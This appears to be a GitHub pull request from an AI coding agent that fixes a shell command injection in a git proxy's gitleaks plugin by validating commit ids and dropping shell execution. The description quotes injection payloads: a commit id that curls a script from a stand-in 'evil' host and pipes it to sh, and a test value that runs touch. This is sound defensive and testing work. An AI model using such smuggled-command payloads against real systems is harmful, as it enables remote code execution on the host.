Repository navigation
fix(gitleaks): block shell command injection via push commit ids - #50
Open
devin-ai-integration[bot] wants to merge 1 commit into
Open
devin-ai-integration[bot] wants to merge 1 commit into
devin-ai-integration[bot] wants to merge 1 commit into
Conversation
Validate old/new commit ids in parsePush as full 40/64-char lowercase hex, spawn gitleaks without a shell, pass --log-opts as a single argument and refuse to scan a non-hash commit range. Co-Authored-By: Samir Chaudhry <samir@cognition.ai>
Author
|
I'll fix CI failures and address comments from users with write access. I'll skip comments containing "(aside)".
|
Dependency Review✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.Scanned FilesNone |
Author
There was a problem hiding this comment.
🔍 Devin Review: 1 flag
Not posted on this PR by your GitHub settings — view it in Devin Review. (Configure)
Author
Testing proof: exploit reproduction before/afterReal |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Description
Fixes code scan finding sfind-e17524a8 (OS command injection). When
plugins.gitleaks.enabled: trueis set, the old and new commit ids were taken from the push request's pkt-line (<old> <new> <ref>) without any validation.gitleaks.tsthen interpolated them into--log-opts='--first-parent <from>^..<to>'and ran that withspawn(..., { shell: true }). A single quote in the new commit id (e.g.:/.*|x'$(curl${IFS}evil/x|sh)'x) closed the quote, and/bin/shran the payload on the proxy host.The fix has two layers:
parsePush.ts: rejects the ref update unless botholdCommitandnewCommitare lowercase hex, either 40 characters (SHA-1) or 64 (SHA-256). This uses a newCOMMIT_HASH_REGEXinprocessors/constants.ts. The push is blocked withYour push has been blocked. Invalid commit id in ref update.beforesetCommitruns. This also protectsgetDiff,checkHiddenCommits,preReceiveand the.remotepath, which all use these values.gitleaks.ts:runCommandno longer usesshell: true.--log-opts=--first-parent <from>[^]..<to>is now passed as a single argv entry. The argv gitleaks receives is the same as before, because the shell was only stripping the quotes. As defense in depth, the step refuses to run gitleaks (Invalid commit range, refusing to run gitleaks.) ifcommitFromorcommitTois not a hash. This also covers thecommitFromthat comes from the pack'sparentwhen the old commit is000…0.API contract: no endpoints change. The only behavior change is that pushes with commit ids that aren't full hex are now blocked. A real git client always sends full hex.
Related: PR #7 is an older partial fix that only removes
shell: true. If this PR lands, #7 can be closed.How to test
Unit tests:
npx vitest --run test/testParsePush.test.ts test/processors/gitLeaks.test.ts→ 69/69 pass. New tests:parsePushblocksabc'$(touch${IFS}/tmp/pwned)', the finding's:/…|shpayload, an old commit containing a quote, an abbreviated hash, uppercase hex and the wrong length, all without callingsetCommit. It accepts SHA-256 ids.gitleakscallsspawnwithout theshelloption and passes--log-opts=--first-parent <from>^..<to>as one argv entry. It does not callspawnwhencommitFrom/commitTocontain a shell payload or are missing.oldhash1 newhash1fixtures were replaced with valid hex hashes.Local end-to-end exploit reproduction: real
spawn, a real git repo and a stand-ingitleaksonPATH, with new commit<sha>'$(touch${IFS}<marker>)'. Full output is in the PR comment.main(e0d7b0f)parsePushwith malicious new commitaction.commitToInvalid commit id in ref updategitleaksstep with maliciouscommitToInvalid commit range; no markergitleaksstep with a valid range--log-opts=--first-parent <from>^..<to>Full suite (
vitest, excludingtest/integration): the only failures aretest/ConfigLoader.test.tsandtest/plugin/plugin.test.ts, which fail the same way onmainin this VM (they need network access and built packages).tests/e2e(needs Docker) andexperimental/weren't run.CI: the
build-*jobs fail on this PR and on every other open PR for reasons outside this change. The 2ConfigLoaderloadRemoteConfigtests reject the upstream finosproxy.config.json(sinkkey), and themongo:8.0container never starts. Lint, e2e (vitest and cypress) and CodeQL pass.Related Issue
Code scan finding
sfind-e17524a8b9d94ea8895e52910b63c0d0(scanscan-70082f73b42b43fda8ae0a7ecbe7fedf).Checklist
General
Documentation
Configuration
config.schema.json) was modified:npm run generate-config-types)npm run gen-schema-doc)Tests
npm test): affected files pass; the remaining failures already exist onmain(see above)npm run lintandnpm run format:check)npm run check-types): no errors insrc/proxy; the only errors are the existing UI ones inAttestationInfo.tsx, which also fail onmainDevin-Org: engineering
Link to Devin session: https://devin-gtm.devinenterprise.com/sessions/0ff4bf25f49d49748efd445d88484fc8
Open in Devin Desktop: https://devin-gtm.devinenterprise.com/desktop/session/0ff4bf25f49d49748efd445d88484fc8?variant=devin
Requested by: @schaudhry123
Devin Review